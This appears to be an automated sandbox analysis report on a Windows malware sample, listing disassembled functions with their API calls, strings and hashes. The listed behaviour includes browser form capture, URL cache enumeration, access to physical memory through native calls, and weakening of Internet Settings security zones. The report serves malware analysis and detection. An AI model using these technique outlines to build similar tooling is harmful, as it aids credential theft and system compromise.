Part of subcall function 004017AC: CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
Part of subcall function 004017AC: CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

_sleep.CRTDLL(00000000), ref: 00401BFD
GetForegroundWindow.USER32(00000000), ref: 00401C02

Part of subcall function 0040185F: GetWindowTextA.USER32(?,?,?), ref: 004018E2

memcpy.CRTDLL(00418F40,?,?), ref: 00401D6D
memcpy.CRTDLL(?,00418F40,?), ref: 00401F34
_sleep.CRTDLL(00000000), ref: 00401F4A
sprintf.CRTDLL(?,%s FORM_%X,?,?,00000000), ref: 00401F77

Strings

value, xrefs: 00401BC7
%s %X%c, xrefs: 0040218F
%s FORM_%X, xrefs: 00401F6B
%s%c, xrefs: 004021EB

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: StringWindow_sleepmemcpy$AllocCreateForegroundFromInitializeInstanceTextsprintf
String ID: %s %X%c$%s FORM_%X$%s%c$value
API String ID: 3510745994-3693252589
Opcode ID: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction ID: 207a0c2c24704257dc82047f11ad41d7b25eba1db427a6dda8aff0efe7f4a5ef
Opcode Fuzzy Hash: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction Fuzzy Hash: 2112DC71A002199FDB62DB68CD44BDAB7F9BB0C304F5040FAA588E7290D7B4AAC58F55

Function 00402822 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

Strings

NtMapViewOfSection, xrefs: 00402877
RtlInitUnicodeString, xrefs: 00402841
NtUnmapViewOfSection, xrefs: 00402851
NtOpenSection, xrefs: 00402867
RtlNtStatusToDosError, xrefs: 00402887
ntdll.dll, xrefs: 00402835

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtMapViewOfSection$NtOpenSection$NtUnmapViewOfSection$RtlInitUnicodeString$RtlNtStatusToDosError$ntdll.dll
API String ID: 667068680-1987783197
Opcode ID: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction ID: 9d3c92be313ac2760b75685e9acc68d9338f811418752029c31410863af0f615
Opcode Fuzzy Hash: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction Fuzzy Hash: BCF03A21B642206B93126B327D4293E36689792B19395003FF840F6191DB7C09225F9F

Function 004037AA Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 53COMMON

Download Yara Rule

APIs

printf.CRTDLL([length=%i] [summ=%i],?,00000000), ref: 004037DD
printf.CRTDLL(HEX: ,[length=%i] [summ=%i],?,00000000), ref: 004037EE
printf.CRTDLL(%02X ,00000000), ref: 00403804
printf.CRTDLL(TXT: '%s',?), ref: 0040382C

Strings

HEX: , xrefs: 004037E9
X4, xrefs: 004037E2
TXT: '%s', xrefs: 00403827
%02X , xrefs: 004037FF
[length=%i] [summ=%i], xrefs: 004037D8

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: printf
String ID: TXT: '%s'$%02X $HEX: $X4$[length=%i] [summ=%i]
API String ID: 3524737521-4004101572
Opcode ID: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction ID: a8ef6db4a05ad48ab0456940bf437e850f92713de92630681f76b68ebadef0f7
Opcode Fuzzy Hash: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction Fuzzy Hash: 88016B62A04254BED7006FA7CC82A6F7FDCAB4175AF2080BEF545730C0D1B86F41D6A6

Function 004054D7 Relevance: 15.1, APIs: 10, Instructions: 109stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004054F1
lstrlenA.KERNEL32(?,?), ref: 00405505
lstrlenA.KERNEL32(?,?,?), ref: 00405513
lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006), ref: 004055FE

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCloseCodeCreateExitHandleLocalObjectSingleWaitmemcpy
String ID:
API String ID: 2845097592-0
Opcode ID: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction ID: 017c82820a2f145177c9e28e2e3f5c0bebc6ad2cdfe5315ab2aa4ad5daf85086
Opcode Fuzzy Hash: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction Fuzzy Hash: 5E31D721A04159BACF01DFA6CC01AAEB7F9AF44318F144476F904E7291E63CDB15C7A9

Function 00405F5B Relevance: 13.6, APIs: 9, Instructions: 64stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405F73
lstrlenA.KERNEL32(?,?), ref: 00405F7E
LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCacheCloseCodeCreateDeleteEntryExitHandleLocalObjectSingleWait
String ID:
API String ID: 794401840-0
Opcode ID: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction ID: 5ee1198a60b0fc2a8532ff5616a25e8349e08cf473eab22e95dc85017e90c3ca
Opcode Fuzzy Hash: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction Fuzzy Hash: B011CA71A082447BD701F6668C42EAFB76DDF85368F144476F600B71C2D678AF0147E9

Function 0040289A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?), ref: 00402976
SetEntriesInAclA.ADVAPI32(00000001,00000002,?,?), ref: 00402988
SetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029A3
CloseHandle.KERNEL32(?,?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029B1

Strings

@, xrefs: 004028DD
CURRENT_USER, xrefs: 00402914
\device\physicalmemory, xrefs: 004028B7

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: InfoSecurity$CloseEntriesHandle
String ID: @$CURRENT_USER$\device\physicalmemory
API String ID: 405656561-3357994103
Opcode ID: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction ID: 89d45d45e0a184fa7970b295066ffccd564a705ae1855cc5323f3f658fcd5c06
Opcode Fuzzy Hash: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction Fuzzy Hash: 2A41EB71E4030DAFEB108FD4DC85BEEB7B9FB04319F50403AEA00BA191D7B9595A8B59

Function 0040509B Relevance: 12.0, APIs: 1, Strings: 7, Instructions: 43COMMON

Download Yara Rule

APIs

sprintf.CRTDLL(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u,00000000), ref: 004050CD

Strings

BrowseNewProcess, xrefs: 00405113
1601, xrefs: 004050D4
yes, xrefs: 0040510E
GlobalUserOffline, xrefs: 004050FA
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess, xrefs: 00405118
Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004050FF
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u, xrefs: 004050C1

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: sprintf
String ID: .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess$1601$BrowseNewProcess$GlobalUserOffline$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u$Software\Microsoft\Windows\CurrentVersion\Internet Settings$yes
API String ID: 590974362-546450379
Opcode ID: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction ID: cd0aaffbc0bd71aa605591c0976343fec0ffbebd6d6d4fedce8ce2f9217411d7
Opcode Fuzzy Hash: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction Fuzzy Hash: 24F07DF2F883587EE710A1699C47F8D765907A1704FA400A7BA44B10C2D0FE56C6826D

Function 004077E4 Relevance: 10.6, APIs: 7, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32 ref: 00407826
SetFocus.USER32 ref: 00407839
SetFocus.USER32 ref: 00407852
SetFocus.USER32 ref: 00407865
SetFocus.USER32 ref: 00407878
SetFocus.USER32 ref: 0040788B
CallWindowProcA.USER32(00000000,?,?,?,?), ref: 00407909

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: Focus$CallProcWindow
String ID:
API String ID: 2401821148-0
Opcode ID: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction ID: 67d25c2989ca0d32993d4aa71a0b11dc39683739a3ff9c0c7d6bcfde353c753a
Opcode Fuzzy Hash: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction Fuzzy Hash: 6F318233E082149BDF21FB29ED848DA7726A751324715C43AE550B32B1DB787C91CB6E

Function 004036B3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036F4
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403715
WriteFile.KERNEL32(00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000), ref: 00403728
CloseHandle.KERNEL32(00000000,00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?), ref: 00403734

Strings

Y&-v, xrefs: 004036BA

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID: Y&-v
API String ID: 2529654636-852306816
Opcode ID: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction ID: 393fb1fac6dfb6d7043d4134058e676a256c67ba5a84656a07003a75d011006f
Opcode Fuzzy Hash: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction Fuzzy Hash: A401A772B4461439F62165758C43F9E365D8B41B78F208136F711BB1C1D6F97E0142BD

Function 00405613 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(*.*,?,00001F40), ref: 00405654
_stricmp.CRTDLL(?,?), ref: 00405679
FindNextUrlCacheEntryA.WININET(00000000,?,00001F40), ref: 004056C0
_stricmp.CRTDLL(?,?), ref: 004056D6

Strings

*.*, xrefs: 0040564F

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: CacheEntryFind_stricmp$FirstNext
String ID: *.*
API String ID: 747601842-438819550
Opcode ID: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction ID: aa6d97de36eacb02400b0bc5d5be45fc0d4f636131057f9c0ab70f2a458f06eb
Opcode Fuzzy Hash: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction Fuzzy Hash: AD21CF72E1005AABCB109A65CC018FBB6EEEB44398F1404F3F108F7290EB799E418F65

Function 00403840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

printf.CRTDLL(HEX: ), ref: 00403863
printf.CRTDLL(%02X ,00000000), ref: 00403877
printf.CRTDLL(0042CC3A), ref: 00403890

Strings

HEX: , xrefs: 0040385E
%02X , xrefs: 00403872

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: printf
String ID: %02X $HEX:
API String ID: 3524737521-2568639716
Opcode ID: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction ID: 8eff4c8c66366255d0771bcdb7d8d21a427f9234d78b176c67630138abebef86
Opcode Fuzzy Hash: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction Fuzzy Hash: 43F0E972F05214BBD704DB9ADC4286E77A9DB9236473080FBF804631C0E9755F0086A9

Function 00403BBE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.CRTDLL(?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403C8B
memcpy.CRTDLL(?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CAE
memcpy.CRTDLL(-0042AA50,?,00000006,?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CBE

Strings

MC, xrefs: 00403BFD

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: MC
API String ID: 438689982-3957011357
Opcode ID: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction ID: 0fabd55d67194886af3b95eda558b9f651b3b184c5d0290ca09bafd6d30b71fa
Opcode Fuzzy Hash: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction Fuzzy Hash: F131B661F08198AFDB00DFBDC84169EBFFA9B4A210F1480B6E884F7381D5789F059765

Function 0040109B Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

signal.CRTDLL(0000000B,00000000), ref: 0040119C
signal.CRTDLL(00000008,00000000), ref: 004011B6
signal.CRTDLL(00000000), ref: 004011D5
raise.CRTDLL ref: 004011E3

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: signal$raise
String ID:
API String ID: 372037113-0
Opcode ID: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction ID: baa5ba32779064c34a5af0890878b5a2dbb5619b613b0807c362cc876063d63b
Opcode Fuzzy Hash: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction Fuzzy Hash: 4541B475A01204DFC720DF18EC84B5677B4FB08350F44457AEE14AB3E1E734A965CBAA

Function 0040447A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00404492
LocalAlloc.KERNEL32(00000040,-00000008,?), ref: 004044A4
sprintf.CRTDLL(?,%s%c%c,?,4EC4EBEE,?,00000040,-00000008,?), ref: 00404515

Strings

%s%c%c, xrefs: 0040450F

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlensprintf
String ID: %s%c%c
API String ID: 2176257816-3118753097
Opcode ID: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction ID: 40b1eb1d73d9c04af9a72cf5af1a140bd4a75b2e1492408562adfdfa8721cd8f
Opcode Fuzzy Hash: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction Fuzzy Hash: F9110B72E0406867DB009A9A88815AFFBB69FC5310F1641F7EA04B73C1D27CAD0193A5

Function 0040421F Relevance: 6.0, APIs: 4, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404255
RegSetValueExA.ADVAPI32(?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404273
RegCloseKey.ADVAPI32(?,?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?), ref: 0040427F

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

